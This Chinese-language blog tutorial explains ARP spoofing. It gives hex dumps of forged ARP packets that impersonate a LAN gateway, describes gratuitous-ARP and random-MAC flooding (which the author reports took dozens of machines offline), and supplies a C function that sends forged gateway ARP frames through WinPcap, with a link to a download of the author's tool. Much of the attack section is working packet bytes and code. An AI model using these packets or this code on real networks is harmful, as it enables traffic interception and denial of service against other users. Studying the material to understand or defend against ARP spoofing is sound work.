ARP攻击及实现详解

声明:本文只用于技术交流和学习使用,严禁用于任何其它用途,严禁转载。若因本文带来的任何麻烦,本人不承担任何连带责任。

一、ARP协议

关于arp协议作用就不再这里多说了,直接看下图
ARP攻击及实现详解_第1张图片

图1

上图来源于TCP-IP协议详解卷1的图4-3
图1中以太网目的地址,以太网源地址,发送端以太地址,发送端IP地址,目的以太网地址,目的IP地址这几个字段的含义很明显。主要看剩下几个字段的取值用途是什么,同样还是直接从TCP-IP协议详解卷1中直接截图拿来。
ARP攻击及实现详解_第2张图片
图2

根据图1和图2,现在假设本机的mac地址是12-34-56-78-9a-bc,IP地址为192.168.1.100。现在想知道局域网内IP地址为192.168.1.150对应的mac地址。其arp数据格式如下:
FF FF FF FF FF FF 12 34 56 78 9a bc 08 06 00 01
08 00 06 04 00 01 12 34 56 78 9a bc c0 a8 01 64
FF FF FF FF FF FF c0 a8 01 96

二、WinpCap

我们用winpcap因为我们本篇文章中需要发送伪造的arp数据包。通过windows提供的socket的接口只能发送原始的IP数据包,程序员能够填充IP段的数据。但不能填充arp段的数据。winpcap工作在驱动层,相当于直接操作硬件。这里我们要用winpcap提供的pcap_sendpacket方法发送伪造的数据包。

三、ARP攻击实战

以下网关的ip地址都是192.168.1.1;mac地址12-34-56-79-9a-bc。主机A的ip地址192.168.1.100;mac地址11-22-33-44-55-66。主机B的ip地址192.168.1.150;mac地址99-88-77-66-55-44

1.伪造网关的mac地址

一般公司局域网中所有出去的数据都是通过网关(假设192.168.1.1)发送出去。一个数据包发送请求外网数据时通常先发送一个arp数据包请求192.168.1.1对应的mac地址。此时如果将我们自己的mac地址发送出去,原本发送到192.168.1.1的数据,就会发送到自己的机器上(如192.168.1.100)。现在假如主机B请求网关的mac地址其格式如下:
FF FF FF FF FF FF 99 88 77 66 55 44 08 06 00 01
08 00 06 04 00 01 99 88 77 66 55 44 c0 a8 01 96
FF FF FF FF FF FF c0 a8 01 01

当网关收到数据后正常应该返回的arp数据包如下
99 88 77 66 55 44 12 34 56 78 9a bc 08 06 00 01
08 00 06 04 00 02 12 34 56 78 9a bc c0 a8 01 01
99 88 77 66 55 44 c0 a8 01 96
如果此时我们想让主机B的数据发送到主机A上只需要发送下面的arp数据包

11 22 33 44 55 66 12 34 56 78 9a bc 08 06 00 01
08 00 06 04 00 02 12 34 56 78 9a bc c0 a8 01 01
11 22 33 44 55 66 c0 a8 01 96

当主机B收到上面的数据包后,后面发送的数据就会发到主机A上。上面的数据包中,红色部分表示伪造的mac地址,绿色表示ip地址。蓝色表示正常发送的mac地址。上面的数据包与图1对比看。

2.发送免费arp数据包

1中的数据包在公司内部网进行测试的时候发现,当伪造网关的mac地址后,公司的网关会发送免费arp数据包,所谓免费arp数据包就是arp数据包中的发送端的ip地址及目的ip地址是相同的(免费arp是一种特殊的arp请求,不是响应,所以操作字段就应该为1了)。此时局域网里收到该数据包的主机就会更新arp缓存,此时1中的方式就失效了。既然网关可以发送免费arp,那么我们使用winpcap也是可以发送免费arp数据了。假设我们使用主机B的mac地址作为免费arp。其数据格式如下

FF FF FF FF FF FF 11 22 33 44 55 66 08 06 00 01
08 00 06 04 00 01 11 22 33 44 55 66 c0 a8 01 01
00 00 00 00 00 00 c0 a8 01 01

红色00 01表示发送的是arp请求数据与2与的00 02(表示arp响应)不同

3.发送随机的arp数据包

这个就完全属于恶作剧了,在1和2中,我们伪造的mac地址都是真实存在的。我们也可以发送不存在的mac地址,这样就会造成局域网内的机器无法上网或出现ip地址冲突的提示。这个已经在局域网里进行过测试,一台机器发送随机arp数据包就可以造成整个局域网里的几十台机器无法上网。

4.arp伪造数据包c语言实现

下面给出一个伪造网关mac地址(随机值)的c实现

void SendPacket()
{
    unsigned char   sendData[100] = {0};
    int i;
    for(i=0; i<6; i++)
    {
        sendData[i] = sendData[32+i] = 0xff;
    }
    sendData[12] = 0x08;
    sendData[13] = 0x06;
    sendData[14] = 0x00;
    sendData[15] = 0x01;

    sendData[16] = 0x08;
    sendData[17] = 0x00;

    sendData[18] = 0x06;
    sendData[19] = 0x04;

    sendData[20] = 0x00;
    sendData[21] = 0x01;
    srand(time(NULL));
    sendData[28] = 0xc0; //192
    sendData[29] = 0xa8; //168
    sendData[30] = 0x01; //1
    for(i=0; i<6; i++)
    {
        sendData[22+i] = getRand();
    }
    memcpy(sendData+6,sendData+22,6);

    sendData[31] = 0x01;//1
    memcpy(sendData+38,sendData+28,4);
    //以太网最小数据包长度是64字节,此处发送60字节数据,后面4字节是crc码。
    //在发送数据时由网卡填充
    pcap_sendpacket(curDlg->m_adhandle,sendData,60);
}

本人用mfc和winpcap实现了一个简单的伪造arp的程序。程序下载地址http://download.csdn.net/detail/mxway/9472906

你可能感兴趣的:(c/c++,安全)